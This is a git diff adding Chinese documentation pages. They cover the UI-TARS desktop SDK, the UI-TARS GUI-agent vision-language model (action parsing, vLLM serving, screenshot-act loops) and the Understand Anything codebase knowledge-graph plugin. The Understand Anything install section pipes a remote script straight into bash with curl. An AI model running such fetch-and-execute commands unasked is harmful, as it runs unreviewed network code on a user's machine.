+    baseURL: 'https://your-api-endpoint/v1/',
+    apiKey: 'your-api-key',
+    model: 'UI-TARS-1.5-7B',
+  },
+  operator: new NutJSOperator(),
+  onData: ({ data }) => {
+    console.log(data);
+  },
+  onError: ({ data, error }) => {
+    console.error(error, data);
+  },
+});
+
+await guiAgent.run('send "hello world" to x.com');
+```
+
+逐行看：
+
+1. `new GUIAgent(...)` 创建智能体实例，传入模型配置和操作器
+2. `model` 对象指定模型服务的地址、密钥和模型名（兼容 OpenAI API 格式）
+3. `NutJSOperator()` 是默认操作器，负责截图和控制鼠标键盘
+4. `onData` 回调在 Agent 运行过程中不断收到数据流（每条消息可能是人类指令、模型回复或截图）
+5. `onError` 回调处理错误
+6. `guiAgent.run()` 传入自然语言指令，Agent 进入循环执行
+
+### 示例 2：自定义操作器
+
+如果你想让 Agent 控制别的东西（比如手机模拟器），可以实现自己的 Operator：
+
+```typescript
+import {
+  Operator,
+  type ScreenshotOutput,
+  type ExecuteParams,
+  type ExecuteOutput,
+  StatusEnum,
+} from '@ui-tars/sdk/core';
+
+export class MyCustomOperator extends Operator {
+  static MANUAL = {
+    ACTION_SPACES: [
+      'click(start_box="") # 点击指定坐标的元素',
+      'type(content="") # 在当前输入框中输入内容',
+      'scroll(direction="") # 向指定方向滚动',
+      'finished() # 完成任务',
+    ],
+  };
+
+  public async screenshot(): Promise<ScreenshotOutput> {
+    // 这里实现你自己的截图逻辑
+    const base64 = 'base64-encoded-image-data';
+    return {
+      base64,
+      scaleFactor: 1,
+    };
+  }
+
+  public async execute(params: ExecuteParams): Promise<ExecuteOutput> {
+    const { parsedPrediction, screenWidth, screenHeight } = params;
+
+    if (parsedPrediction?.action_type === 'finished') {
+      return { status: StatusEnum.END };
+    }
+
+    // 根据 parsedPrediction.action_type 执行对应操作
+    // 例如 click 就解析 action_inputs.start_coords 拿到坐标
+    return { success: true };
+  }
+}
+```
+
+然后把自定义操作器传给 Agent：
+
+```typescript
+const guiAgent = new GUIAgent({
+  model: { baseURL, apiKey, model },
+  operator: new MyCustomOperator(),
+  systemPrompt: `
+    你是一个桌面助手。
+    ${MyCustomOperator.MANUAL.ACTION_SPACES.join('\n')}
+  `,
+});
+```
+
+关键点：
+
+- `screenshot()` 返回 Base64 编码的图片 + 缩放比例
+- `execute()` 接收模型解析后的结构化预测结果，包含 `action_type`（动作类型）、`action_inputs`（参数）、`thought`（模型的推理过程）
+- `MANUAL.ACTION_SPACES` 定义了模型能执行的"动作词汇表"，模型只能从这个列表中选择操作
+
+### 示例 3：配合规划模型处理复杂任务
+
+对于复杂任务（比如"帮我订一张从北京到上海的票"），可以先用推理模型做任务分解，再把每个步骤交给 Agent：
+
+```typescript
+const guiAgent = new GUIAgent({
+  model: { baseURL, apiKey, model },
+  operator: new NutJSOperator(),
+});
+
+// 先用推理模型规划步骤
+const planningList = await reasoningModel.invoke({
+  conversations: [
+    { role: 'user', content: 'buy a ticket from beijing to shanghai' },
+  ],
+});
+
+// 得到的是拆解后的步骤列表：
+// ['open chrome', 'open trip.com', 'click "search" button', ...]
+
+for (const step of planningList) {
+  await guiAgent.run(step);
+}
+```
+
+这就是"先想清楚再动手"的思路——规划模型负责制定计划，GUI Agent 负责一步步执行。
+
+## 四、Agent 的状态流转
+
+整个 Agent 的运行过程可以用一个状态机来描述：
+
+```
+[初始] → INIT → RUNNING → RUNNING → ... → END
+                      ↓          ↓
+                 (执行动作)   (任务完成)
+                      ↓
+                RUNNING → MAX_LOOP → [结束]
+                   (达到最大循环次数)
+```
+
+- **INIT**：等待用户下达指令
+- **RUNNING**：正在执行操作，不断截图-分析-执行
+- **END**：任务完成（模型返回 `finished()` 或 Operator 主动结束）
+- **MAX_LOOP**：达到最大循环次数（默认 25 次），防止无限循环
+
+你也可以随时通过 AbortController 中断运行：
+
+```typescript
+const abortController = new AbortController();
+
+const guiAgent = new GUIAgent({
+  model: { baseURL, apiKey, model },
+  operator: new NutJSOperator(),
+  signal: abortController.signal,
+});
+
+process.on('SIGINT', () => {
+  abortController.abort();
+});
+```
+
+按 Ctrl+C 即可停止。
+
+## 五、快速上手
+
+### 方法一：下载桌面应用（最简单）
+
+Mac 上通过 Homebrew 一键安装：
+
+```bash
+brew install --cask ui-tars
+```
+
+安装后需要在系统设置中授予两个权限：
+
+1. **辅助功能**（Accessibility）— 允许控制鼠标键盘
+2. **屏幕录制**（Screen Recording）— 允许截取屏幕
+
+然后在应用设置里配置模型服务地址和 API Key 就可以开始用了。
+
+### 方法二：通过 CLI 试用
+
+```bash
+npx @ui-tars/cli start
+```
+
+输入模型配置后，直接在终端输入指令，Agent 就会开始操作你的电脑：
+
+```
+◆  Input your instruction
+│  _ Open Chrome
+└
+```
+
+### 支持的模型提供商
+
+| 提供商 | 模型 | 说明 |
+|---|---|---|
+| Hugging Face | UI-TARS-1.5-7B | 开源模型，自行部署 |
+| 火山引擎 | Doubao-1.5-UI-TARS | 在线 API，开箱即用 |
+| OpenAI 兼容接口 | 任意兼容模型 | 需要适配 |
+
+## 六、总结
+
+UI-TARS Desktop 的核心思想很直观：**让 AI 通过"看屏幕"来理解界面，通过"模拟操作"来完成任务**。它不需要你写自动化脚本，也不需要你了解程序的内部结构——只要会用自然语言描述任务就行。
+
+这个项目的架构可以概括为三层：
+
+- **模型层**：视觉语言模型，负责"看懂"屏幕并做出决策
+- **Agent 层**：GUIAgent，负责组织截图-分析-执行的循环
+- **操作层**：Operator，负责截图和执行具体动作
+
+这种分层设计的好处是每一层都可以替换——你可以换更好的模型、做更复杂的规划、或者让 Operator 控制完全不同的设备。
+
+## 参考资源
+
+- 项目主页：https://github.com/bytedance/UI-TARS-desktop
+- 论文：https://arxiv.org/abs/2501.12326
+- SDK 文档：项目 docs/sdk.md
+- 快速开始：项目 docs/quick-start.md
+- HuggingFace 模型：https://huggingface.co/ByteDance-Seed/UI-TARS-1.5-7B
diff --git a/src/content/docs/projects/ui-tars.md b/src/content/docs/projects/ui-tars.md
new file mode 100644
index 000000000..9ebf95458
--- /dev/null
+++ b/src/content/docs/projects/ui-tars.md
@@ -0,0 +1,257 @@
+---
+title: UI-TARS — 原生 GUI Agent 视觉语言模型
+来源: 'https://github.com/bytedance/UI-TARS'
+日期: 2026-06-13
+子分类: 模型与训练
+分类: 机器学习
+provenance: pipeline-v3
+---
+
+## 是什么
+
+UI-TARS 是字节跳动 Seed 团队开源的**原生 GUI Agent 视觉语言模型（VLM）**——不是「Playwright 外面再套一层 prompt」的胶水框架，而是把**感知、推理、定位（grounding）、记忆**都训进同一个多模态模型里，端到端输出「下一步该怎么点屏幕」。
+
+日常类比：传统 GUI 自动化像给盲人配一本**超厚的操作手册**——「第 3 页第 2 段，把鼠标移到坐标 (240, 380) 单击」。手册里任何一个坐标写错，或者软件改版把按钮挪了，整条流程就废。UI-TARS 的做法更像雇一个**真的会看屏幕的实习生**：你给他一张当前桌面的截图，说「帮我把这份 PDF 存到桌面」，他先在心里想一遍（Thought），再告诉你「我要点左上角 File 菜单」（Action + 坐标），你的电脑执行器再去动鼠标键盘。
+
+整条链路可以压成四步：
+
+```text
+截图 → UI-TARS 模型 → "Thought + Action" 文本 → action_parser → pyautogui / 系统输入
+```
+
+仓库主体是**模型权重 + 推理/后处理工具**（`pip install ui-tars`），不是开箱即用的桌面 App。想零配置在本机用，应看同生态的 [[ui-tars-desktop]]；想在浏览器里用，社区常见接法是 [[midscene]]。
+
+当前公开主线版本包括 UI-TARS-1.5（强化学习增强的「先想再做」推理）、以及 2025 年 9 月发布的 UI-TARS-2（GUI / 游戏 / 代码 / 工具调用一体化）。Hugging Face 上提供 2B / 7B / 72B 等规格，桌面场景官方推荐 **7B-DPO** 或 **72B-DPO**。
+
+## 为什么重要
+
+如果你关心「AI 怎么真的去操作电脑」，下面几件事绕不开 UI-TARS 这条技术路线：
+
+- **「原生 Agent 模型」vs「框架拼模型」**：[[stagehand]]、[[browser-use]] 等多是「通用 LLM + 专用 prompt / DOM 解析」；UI-TARS 从训练数据阶段就把 GUI 动作空间、坐标体系、历史轨迹写进模型，OSWorld、AndroidWorld 等在线基准上 1.5 版曾达到当时 SOTA 水平（例如 OSWorld 100 步 **42.5%** 成功率）。
+- **Thought-Action 双流输出**：1.5 引入类 System-2 推理——模型先输出 `Thought:` 解释意图，再输出 `Action:`。Minecraft 等长程任务上，带 Thought 的版本明显优于纯动作版，说明「多想一步」对 GUI 任务同样有效。
+- **统一动作空间跨平台**：同一套语义动作（`click`、`type`、`scroll`、`drag`…）可映射到桌面；移动端另有 `long_press`、`press_home` 等扩展。框架开发者不必为每个 OS 单独设计 planner。
+- **生态分叉清晰**：模型仓库（本 repo）→ 桌面壳（UI-TARS-desktop / Agent TARS）→ 浏览器 SDK（Midscene）。学 UI-TARS 等于理解这条链的「大脑」层，而不是某个单一产品 UI。
+
+## 核心要点
+
+零基础先把下面五个概念对齐，后面读代码和论文都不会晕。
+
+### 1. 原生 GUI Agent（Native Agent）
+
+传统方案常见流水线：`OCR/元素检测 → 规则或 LLM 规划 → 脚本执行`，模块多、误差累积。UI-TARS 论文的核心主张是：**一个 VLM 同时负责看界面、想步骤、出动作**，减少手工规则和预定义 workflow。代价是模型体量大、部署要吃 GPU，且幻觉会直接变成误点。
+
+### 2. Thought + Action 输出格式
+
+模型典型单行或多行文本，结构固定：
+
+```text
+Thought: 我看到登录页，需要先点邮箱输入框。
+Action: click(start_box='(512,340)')
+```
+
+- `Thought`：可解释性 + 推理链，评测和 debug 时非常有用；生产环境也可选择剥离（`GROUNDING` 模板只出 Action）。
+- `Action`：受限语法 DSL，如 `click`、`double_click`、`type`、`hotkey`、`scroll`、`drag` 等，参数里带 `start_box` / `end_box` 坐标或文本内容。
+
+### 3. 坐标体系与 `factor=1000`
+
+UI-TARS 基于 Qwen2.5-VL 系，使用**绝对像素坐标**，且训练时常把坐标归一化到 0–1000 的相对网格，再按**原图宽高**映射回真实屏幕。后处理时必须传入：
+
+- `origin_resized_height` / `origin_resized_width`：喂给模型前截图 resize 后的尺寸（通常与模型输入一致）
+- `image_height` / `image_width`：执行点击时的真实屏幕分辨率
+
+坐标搞错一位，表现就是「模型明明说点了按钮，鼠标却飞到角落」——这是 UI-TARS 集成里**第一大坑**，官方单独写了 `README_coordinates.md`。
+
+### 4. 三套 Prompt 模板
+
+`codes/ui_tars/prompt.py` 里按场景选模板，不要混用：
+
+| 模板 | 场景 | 特点 |
+|------|------|------|
+| `COMPUTER_USE` | Windows / macOS / Linux 桌面 | 鼠标、键盘、拖拽、滚动 |
+| `MOBILE_USE` | 手机 / 模拟器 | `long_press`、`open_app`、`press_back` 等 |
+| `GROUNDING` | 评测 / 训练 | 只输出 Action，不要 Thought，延迟更低 |
+
+对话历史里要交替塞入「用户任务 + 截图」与「助手 Thought/Action」，形成多步 agent loop。
+
+### 5. 部署与后处理分工
+
+| 阶段 | 做什么 | 常用工具 |
+|------|--------|----------|
+| 部署推理 | 加载 7B/72B 权重，OpenAI 兼容 API | vLLM、HuggingFace Inference Endpoints |
+| 后处理 | 解析 Action 字符串 → 结构体 → 可执行代码 | `ui_tars.action_parser` |
+| 执行 | 真机点击 / 浏览器自动化 | pyautogui、Playwright、UI-TARS-desktop |
+
+**模型只负责「说」；「做」要靠外层 executor。** 这和 Anthropic Computer Use、[[midscene]] 的分工类似，但 UI-TARS 的动作语法是专有的。
+
+## 实践案例
+
+### 案例 1：把模型输出解析成 pyautogui 代码
+
+安装官方后处理包后，最小闭环如下（摘自仓库 README，略作注释）：
+
+```python
+from ui_tars.action_parser import (
+    parse_action_to_structure_output,
+    parsing_response_to_pyautogui_code,
+)
+
+# 模型返回的原始字符串（通常来自 chat completion）
+response = (
+    "Thought: Click the submit button\n"
+    "Action: click(start_box='(100,200)')"
+)
+
+# 喂给模型前的截图尺寸（与推理时 resize 一致）
+original_image_width, original_image_height = 1920, 1080
+
+parsed_dict = parse_action_to_structure_output(
+    response,
+    factor=1000,
+    origin_resized_height=original_image_height,
+    origin_resized_width=original_image_width,
+    model_type="qwen25vl",
+)
+print(parsed_dict)
+
+# 映射到真实屏幕分辨率，生成可 exec 的 pyautogui 片段
+parsed_pyautogui_code = parsing_response_to_pyautogui_code(
+    responses=parsed_dict,
+    image_height=original_image_height,
+    image_width=original_image_width,
+)
+print(parsed_pyautogui_code)
+# 典型输出类似： pyautogui.click(192, 216, button='left')
+```
+
+这段代码解决的是：**字符串 Action → 像素坐标 → 宿主环境输入 API**。集成任何 executor（不限 pyautogui）都应先走 `parse_action_to_structure_output`。
+
+### 案例 2：用 vLLM 起 OpenAI 兼容服务并跑一步推理
+
+本地有 GPU 时，官方 README_v1 推荐 vLLM（`vllm>=0.6.1`）。7B 模型一般 `-tp 1`，72B 常用 `-tp 4`：
+
+```bash
+python -m vllm.entrypoints.openai.api_server \
+  --served-model-name ui-tars \
+  --model ByteDance-Seed/UI-TARS-1.5-7B \
+  --limit-mm-per-prompt image=5 \
+  -tp 1
+```
+
+客户端用 OpenAI SDK，把截图 base64 塞进 multimodal message，并套上 `COMPUTER_USE` 系统 prompt（仓库 `prompt.py` 中有完整模板）。伪代码骨架：
+
+```python
+import base64
+from openai import OpenAI
+
+client = OpenAI(base_url="http://127.0.0.1:8000/v1", api_key="EMPTY")
+
+with open("screen.png", "rb") as f:
+    b64 = base64.b64encode(f.read()).decode()
+
+messages = [
+    {"role": "system", "content": COMPUTER_USE_PROMPT},
+    {
+        "role": "user",
+        "content": [
+            {"type": "text", "text": "任务：打开浏览器并访问 example.com"},
+            {
+                "type": "image_url",
+                "image_url": {"url": f"data:image/png;base64,{b64}"},
+            },
+        ],
+    },
+]
+
+resp = client.chat.completions.create(
+    model="ui-tars",
+    messages=messages,
+    temperature=0.0,
+    max_tokens=400,
+)
+raw = resp.choices[0].message.content
+# 再把 raw 交给案例 1 的 action_parser
+```
+
+HuggingFace Endpoints 部署时，官方还建议设置 `CUDA_GRAPHS=0`、`PAYLOAD_LIMIT=8000000`，避免大图请求失败——这是云部署常见的「能起服务但一截图就 413」问题。
+
+### 案例 3：多步 Agent 循环（概念伪代码）
+
+真实任务很少一步完成。外层要维护**截图 → 推理 → 执行 → 再截图**循环，并把历史 Thought/Action 写回对话：
+
+```python
+history = []
+for step in range(max_steps):
+    screenshot = capture_screen()  # 与 origin_resized_* 对齐
+    history.append(user_message(task, screenshot))
+    raw = call_ui_tars_api(history)
+    history.append({"role": "assistant", "content": raw})
+
+    actions = parse_action_to_structure_output(raw, ...)
+    execute_on_host(actions)  # pyautogui / desktop operator
+
+    if task_done(raw) or same_screen_stuck(screenshot):
+        break
+```
+
+UI-TARS-desktop、OSWorld 官方 `run_uitars.py`、[[midscene]] 的 UI-TARS provider 本质上都是这个 loop 的不同工程封装。
+
+## 踩过的坑
+
+1. **坐标系不一致是头号 bug**：模型按 resize 后尺寸归一化，执行器按物理分辨率点击——少传 `origin_resized_*` 或 Retina 屏 DPI 翻倍，就会出现系统性偏移。
+2. **7B 与满血 1.5 能力差距大**：公开 7B 偏通用桌面；游戏、复杂推理场景官方明确说仍不如完整 1.5。别用 7B 跑 Minecraft 然后得出「UI-TARS 不行」的结论。
+3. **Thought 增加 token 与延迟**：推理时 scaling 友好，但在线产品每步多几百 token；`GROUNDING` 或剥离 Thought 是常见优化。
+4. **安全与滥用**：论文和 README 都提到 CAPTCHA、未授权自动化等风险——生产环境要有人工确认、速率限制、审计日志，别裸放公网 API。
+5. **幻觉仍然存在**：按钮认成相邻图标、在错误窗口上点击，在陌生软件或深色主题下更明显；需要外层校验（截图 diff、关键步骤 assert）。
+6. **算力成本**：72B-DPO 效果最好，但单卡很难跑；云 Endpoint L40S 48G 是 7B 的参考配置，预算要先算清楚。
+
+## 适用 vs 不适用场景
+
+**适用**：
+
+- 研究 GUI Agent、复现 OSWorld / AndroidWorld / ScreenSpot 论文数字
+- 自托管多模态 agent，希望**动作语法统一**且可换 executor
+- 桌面自动化原型（配合 UI-TARS-desktop 或自写 pyautogui loop）
+- 浏览器自动化且愿用 [[midscene]] 等已集成 UI-TARS 的 SDK
+- 需要 **Thought 链** 做可解释 demo 或强化学习数据收集
+
+**不适用**：
+
+- 只想稳定跑 CI e2e、毫秒级反馈（应用 [[playwright]] + 传统 selector，或 [[stagehand]] 的确定性优先路线）
+- 无 GPU、不愿买云推理——每次截图调 7B 多模态成本远高于纯文本 LLM
+- 强合规场景不允许模型看见全屏敏感信息（银行、医疗终端）
+- 期望「pip install 就能自动操作一切」——本仓库是模型 + 解析器，不是开箱产品
+
+## 历史小故事（可跳过）
+
+- **2025-01**：论文 *UI-TARS: Pioneering Automated GUI Interaction with Native Agents*（arXiv:2501.12326）发布，提出原生 agent 训练范式。
+- **2025-03**：OSWorld 官方仓库合并 `run_uitars.py`，社区可复现桌面 agent 基准。
+- **2025-04**：UI-TARS-1.5 开源，强调 RL 增强的 Thought-Action 与游戏场景；7B 权重上 Hugging Face。
+- **2025-09**：UI-TARS-2 技术报告，向 GUI + 游戏 + 代码 + Tool Use 一体化扩展。
+- **生态**：UI-TARS-desktop 与 Agent TARS 分家又统一在 `UI-TARS-desktop` monorepo；浏览器侧 [[midscene]] 把 UI-TARS 列为内置 VLM 之一。
+
+## 学到什么
+
+- **「原生」指的是训练目标，不是魔法**：模型仍可能幻觉；工程上 executor、坐标映射、循环控制一样不能省。
+- **坐标是 GUI Agent 的隐形接口**：比 prompt 工程还值得单独写单元测试；Retina、多显示器、窗口缩放都会破坏 grounding。
+- **Thought 是精度与成本的旋钮**：研究/长任务偏向保留；低延迟产品偏向 `GROUNDING` 或蒸馏掉 Thought。
+- **模型 repo ≠ 产品**：零基础用户应从 UI-TARS-desktop 或 Midscene 入手；本仓库适合「我要看懂大脑怎么工作」的人。
+- **与 DOM 路线互补而非替代**：复杂 SPA 用 DOM 有时更省 token；canvas、跨平台、游戏画面则 VLM 原生路线更自然——和 [[midscene]] vs [[browser-use]] 的争论是同一光谱。
+
+## 延伸阅读
+
+- 论文：[UI-TARS arXiv:2501.12326](https://arxiv.org/abs/2501.12326)
+- UI-TARS-2 报告：[arXiv:2509.02544](https://arxiv.org/abs/2509.02544)
+- 模型权重：[Hugging Face ByteDance-Seed](https://huggingface.co/ByteDance-Seed)
+- 部署指南：仓库 `README_deploy.md`（HuggingFace Endpoints）
+- 坐标说明：仓库 `README_coordinates.md`
+- 桌面产品：[UI-TARS-desktop](https://github.com/bytedance/UI-TARS-desktop)
+- 博客：[Seed UI-TARS-1.5 发布说明](https://seed.bytedance.com/en/blog/bytedance-seed-agent-model-ui-tars-1-5-open-source-achieving-sota-performance-in-various-benchmarks)
+
+## 关联
+
+- [[midscene]] —— 浏览器自动化 SDK，内置 UI-TARS 作为 VLM 后端之一
+- [[playwright]] —— 常见执行层；UI-TARS 负责「看+想」，Playwright 负责「点」
+- [[stagehand]] —— Playwright + LLM 混血框架，默认不绑定 UI-TARS 权重
+- [[browser-use]] —— DOM 树索引路线，与 UI-TARS 截图原生路线对比鲜明
+- [[openai-codex-cli]] —— 另一类「agent 操作计算机」产品形态，偏终端与代码而非 GUI 坐标
+- [[vllm]] —— 本地部署 UI-TARS 的常用推理引擎
diff --git a/src/content/docs/projects/understand-anything-graph.md b/src/content/docs/projects/understand-anything-graph.md
new file mode 100644
index 000000000..17e530293
--- /dev/null
+++ b/src/content/docs/projects/understand-anything-graph.md
@@ -0,0 +1,296 @@
+---
+title: Understand Anything — 把代码库变成可探索的交互式知识图谱
+来源: https://github.com/Lum1104/Understand-Anything
+日期: 2026-06-13
+子分类: 开发者工具
+分类: CLI
+provenance: pipeline-v3
+---
+
+## 日常类比：地铁线路图，而不是挨家敲门
+
+你刚入职一家新公司，接手一个 20 万行的陌生仓库。传统做法是：
+
+1. 从 `README` 和 `main` 入口文件开始读；
+2. 跟着 `import` 一层层点进去；
+3. 在脑子里拼凑「谁调用谁、支付流程经过哪些模块」。
+
+这就像在陌生城市里**没有地图，只能挨家敲门问路**——每敲一扇门都花时间，还容易迷路。
+
+[Understand Anything](https://github.com/Lum1104/Understand-Anything)（原作者 [Lum1104](https://github.com/Lum1104)，现由 [Egonex-AI](https://github.com/Egonex-AI) 维护，MIT 许可）做的是另一件事：用**多 Agent 流水线**扫描整个项目，把文件、函数、类、依赖、配置、文档甚至业务域都建成**知识图谱（Knowledge Graph）**，再打开一个可缩放、可搜索、可点击的 Web 仪表盘让你「按图索骥」。
+
+官方 slogan 写得很直白：**Graphs that teach > graphs that impress**——图的价值不是炫复杂度，而是**安静地教会你每一块怎么拼在一起**。
+
+它面向 Claude Code、Cursor、Codex、Copilot、Gemini CLI 等 AI 编程环境，既可当插件/Skill 用，也可把生成的 `knowledge-graph.json` 提交进仓库，让队友跳过分析直接看图。
+
+---
+
+## 是什么：和「纯 grep 探索」差在哪
+
+| 维度 | 传统读代码 / grep | Understand Anything |
+|------|-------------------|---------------------|
+| 入口 | 线性读文件 | 图节点 + 搜索 + 导览 Tour |
+| 结构 | 自己记 import 链 | Tree-sitter 确定性抽边 + LLM 写摘要 |
+| 语义 | 靠注释和猜测 | 节点 plain-English 说明、架构分层、业务域视图 |
+| 协作 | 口头交接 | 提交 `.understand-anything/*.json` 给新人 |
+| 变更影响 | 靠经验猜 ripple | `/understand-diff` 做 diff 影响分析 |
+
+与同仓库笔记里的 [CodeGraph](./codegraph-claude-code.md) 相比：CodeGraph 偏 **MCP + SQLite**，给 AI 代理做结构化查询；Understand Anything 偏 **人机共用的可视化仪表盘 + 多命令工作流**（聊天、导览、入职文档、Wiki 知识库分析等），两者互补而非替代。
+
+---
+
+## 核心概念
+
+### 1. 知识图谱：节点 + 边
+
+- **节点（Node）**：不仅是源码里的 `file` / `function` / `class`，自 v2.0 起还覆盖 `config`、`document`、`service`、`table`、`endpoint`、`pipeline`、`schema`、`resource` 等 13 种类型（配置、文档、K8s、SQL、OpenAPI 等）。
+- **边（Edge）**：共 26 种，分结构（`imports`、`contains`、`inherits`）、行为（`calls`）、数据流（`reads_from`、`writes_to`）、基础设施（`deploys`、`serves`）、语义（`related`）等。
+- **持久化**：默认写入项目根目录 `.understand-anything/knowledge-graph.json`（纯 JSON，可 git 跟踪）。
+
+### 2. Tree-sitter + LLM 混合流水线
+
+- **Tree-sitter（确定性）**：解析 AST，提取 import、定义、调用点、继承等；同一输入多次运行结构边一致；还用于**指纹（fingerprint）**检测变更，支撑增量更新。
+- **LLM（语义层）**：在结构之上生成摘要、标签、架构层（API / Service / Data / UI…）、导览步骤、语言概念说明（泛型、闭包、装饰器等 12 种模式）。
+
+### 3. 多 Agent 编排（`/understand`）
+
+| Agent | 职责 |
+|-------|------|
+| `project-scanner` | 发现文件、识别语言与框架 |
+| `file-analyzer` | 抽函数/类/import，产出节点与边（并行，每批 20–30 文件，最多 5 路并发） |
+| `architecture-analyzer` | 识别架构分层 |
+| `tour-builder` | 生成按依赖排序的 Guided Tour |
+| `graph-reviewer` | 校验完整性；默认内联校验，`--review` 时走完整 LLM 复审 |
+| `domain-analyzer` | `/understand-domain`：业务域、流程、步骤 |
+| `article-analyzer` | `/understand-knowledge`：Wiki 实体与隐含关系 |
+
+### 4. 命令族（不只是「建图」）
+
+| 命令 | 用途 |
+|------|------|
+| `/understand` | 全量或增量分析，写出知识图谱 |
+| `/understand-dashboard` | 打开交互式力导向图界面 |
+| `/understand-chat` | 基于图谱问答，如「支付流程怎么走」 |
+| `/understand-diff` | 当前改动的影响范围 |
+| `/understand-explain` | 深潜单个文件/函数 |
+| `/understand-onboard` | 生成新人入职导读 |
+| `/understand-domain` | 业务逻辑横向视图 |
+| `/understand-knowledge` | Karpathy 式 LLM Wiki → 概念图 |
+
+### 5. 增量更新与团队共享
+
+- 默认**增量**：只重分析变更文件；`--auto-update` 可挂 post-commit hook。
+- 大单体可 scoped：`/understand src/frontend`。
+- 团队实践：提交 `.understand-anything/` 下 JSON，**排除** `intermediate/` 与 `diff-overlay.json`；超大图（10MB+）建议 git-lfs。
+
+---
+
+## 快速上手
+
+### 安装（Claude Code 插件市场）
+
+```bash
+/plugin marketplace add Egonex-AI/Understand-Anything
+/plugin install understand-anything
+```
+
+其他平台可用一键脚本（Codex / Cursor / OpenCode 等）：
+
+```bash
+curl -fsSL https://raw.githubusercontent.com/Egonex-AI/Understand-Anything/main/install.sh | bash
+# 或指定平台，例如：
+curl -fsSL https://raw.githubusercontent.com/Egonex-AI/Understand-Anything/main/install.sh | bash -s codex
+```
+
+Cursor 克隆含 `.cursor-plugin/plugin.json` 的仓库后通常可自动发现；也可在 **Settings → Plugins** 里粘贴仓库 URL 安装。
+
+### 分析 + 看图
+
+```bash
+/understand
+/understand-dashboard
+```
+
+中文内容（节点摘要、仪表盘 UI、导览文案）：
+
+```bash
+/understand --language zh
+```
+
+首次未指定语言时，插件会根据对话语言询问确认，并写入 `.understand-anything/config.json` 供后续复用。
+
+---
+
+## 代码示例 1：知识图谱 JSON 片段（节点与边）
+
+分析完成后，`.understand-anything/knowledge-graph.json` 是仪表盘的数据源。结构简化示例如下（字段名与类型以官方 Schema 为准，此处为便于理解的裁剪版）：
+
+```json
+{
+  "meta": {
+    "projectName": "my-shop",
+    "version": "1.0.0",
+    "lastAnalyzedAt": "2026-06-13T08:00:00.000Z"
+  },
+  "layers": [
+    { "id": "api", "name": "API", "color": "#4F46E5" },
+    { "id": "service", "name": "Service", "color": "#059669" },
+    { "id": "data", "name": "Data", "color": "#D97706" }
+  ],
+  "nodes": [
+    {
+      "id": "file:src/api/checkout.ts",
+      "type": "file",
+      "label": "checkout.ts",
+      "layer": "api",
+      "summary": "处理结账 HTTP 路由，校验购物车并调用支付服务。",
+      "filePath": "src/api/checkout.ts",
+      "tags": ["http", "checkout"]
+    },
+    {
+      "id": "function:src/api/checkout.ts::createCheckout",
+      "type": "function",
+      "label": "createCheckout",
+      "parentId": "file:src/api/checkout.ts",
+      "summary": "接收订单 DTO，调用 PaymentService.charge。"
+    },
+    {
+      "id": "class:src/services/payment.ts::PaymentService",
+      "type": "class",
+      "label": "PaymentService",
+      "layer": "service",
+      "summary": "封装第三方支付网关与重试逻辑。"
+    }
+  ],
+  "edges": [
+    {
+      "source": "file:src/api/checkout.ts",
+      "target": "class:src/services/payment.ts::PaymentService",
+      "type": "imports",
+      "weight": 0.7
+    },
+    {
+      "source": "function:src/api/checkout.ts::createCheckout",
+      "target": "class:src/services/payment.ts::PaymentService",
+      "type": "calls",
+      "weight": 0.8
+    }
+  ],
+  "tours": [
+    {
+      "id": "architecture-overview",
+      "title": "从 API 到支付服务",
+      "steps": [
+        "file:src/api/checkout.ts",
+        "class:src/services/payment.ts::PaymentService"
+      ]
+    }
+  ]
+}
+```
+
+读图时记住三条约定：
+
+1. **节点 id** 带类型前缀，如 `function:path::symbolName`；
+2. **边 type** 决定语义（调用、包含、部署等），**weight** 影响布局与筛选；
+3. **layers** 与 **tours** 让人类按「层」和「学习顺序」看，而不是只看一团乱线。
+
+---
+
+## 代码示例 2：团队 `.gitignore` 与 LFS（协作）
+
+要把图谱当「活文档」提交，推荐忽略本地中间产物：
+
+```gitignore
+# 本地流水线 scratch，勿提交
+.understand-anything/intermediate/
+.understand-anything/diff-overlay.json
+```
+
+大图仓库启用 Git LFS：
+
+```bash
+git lfs install
+git lfs track ".understand-anything/*.json"
+git add .gitattributes .understand-anything/knowledge-graph.json
+git commit -m "docs: add committed knowledge graph for onboarding"
+```
+
+队友克隆后可直接 `/understand-dashboard` 浏览，无需每人跑一遍全量 Agent 流水线；发布前用 `/understand` 或 `--auto-update` 保持 JSON 与代码同步。
+
+---
+
+## 代码示例 3：Monorepo 子目录与 diff 影响（命令行工作流）
+
+```bash
+# 只分析前端包，缩短首轮时间
+/understand packages/webapp
+
+# 改了一堆文件后，看 ripple 再提交
+/understand-diff
+
+# 针对单个热点文件要白话解释
+/understand-explain packages/webapp/src/auth/session.ts
+
+# 自然语言追问（依赖已生成的图谱）
+/understand-chat 会话过期时刷新 token 的完整调用链是什么？
+```
+
+`--language zh` 与上述命令可组合，适合中文团队统一仪表盘文案。
+
+---
+
+## 仪表盘里值得点的功能
+
+- **力导向图**：缩放、拖拽、按层配色（API / Service / Data / UI / Utility）。
+- **模糊 + 语义搜索**：既可搜符号名，也可搜「哪些部分管鉴权」。
+- **Guided Tours**：按依赖顺序的架构导览，适合 onboarding。
+- **Domain 视图**：`/understand-domain` 后的业务流程横向图。
+- **Persona 自适应**：初级开发、PM、老手看到不同粒度（官方 UI 特性）。
+- **在线 Demo**：无需本地安装即可体验交互 — [understand-anything.com/demo](https://understand-anything.com/demo/)。
+
+---
+
+## 与 CodeGraph、纯 LLM「读仓库」的选型建议
+
+```mermaid
+flowchart TD
+  Q["我要搞懂这个仓库"] --> A{"主要给谁用？"}
+  A -->|AI 代理频繁查符号/调用链| CG["CodeGraph MCP\n本地 SQLite 图谱"]
+  A -->|人眼浏览 + 团队文档 + 导览| UA["Understand Anything\nJSON + Dashboard"]
+  A -->|一次性问答| LLM["直接 Chat / Read\n无持久图谱"]
+  UA --> Both["可同时使用：\nUA 建全景，CG 给代理细查"]
+  CG --> Both
+```
+
+- **零基础入职**：先 `/understand` + `/understand-dashboard` + Tour，建立心理地图。
+- **改核心模块前**：`/understand-diff` 或 `/understand-chat` 问影响面。
+- **业务同学对齐**：`/understand-domain` 把代码映射到流程步骤。
+- **知识库/wiki**：`/understand-knowledge` 把 Markdown wiki 变成概念网络。
+
+---
+
+## 局限与注意点
+
+1. **首次全量分析耗时**：大仓库依赖多路 `file-analyzer`，需要稳定 LLM 配额；应用子目录 scope 或增量模式。
+2. **语义层非 100% 确定**：结构边可复现，摘要/分层仍可能随模型版本漂移；关键决策以源码为准。
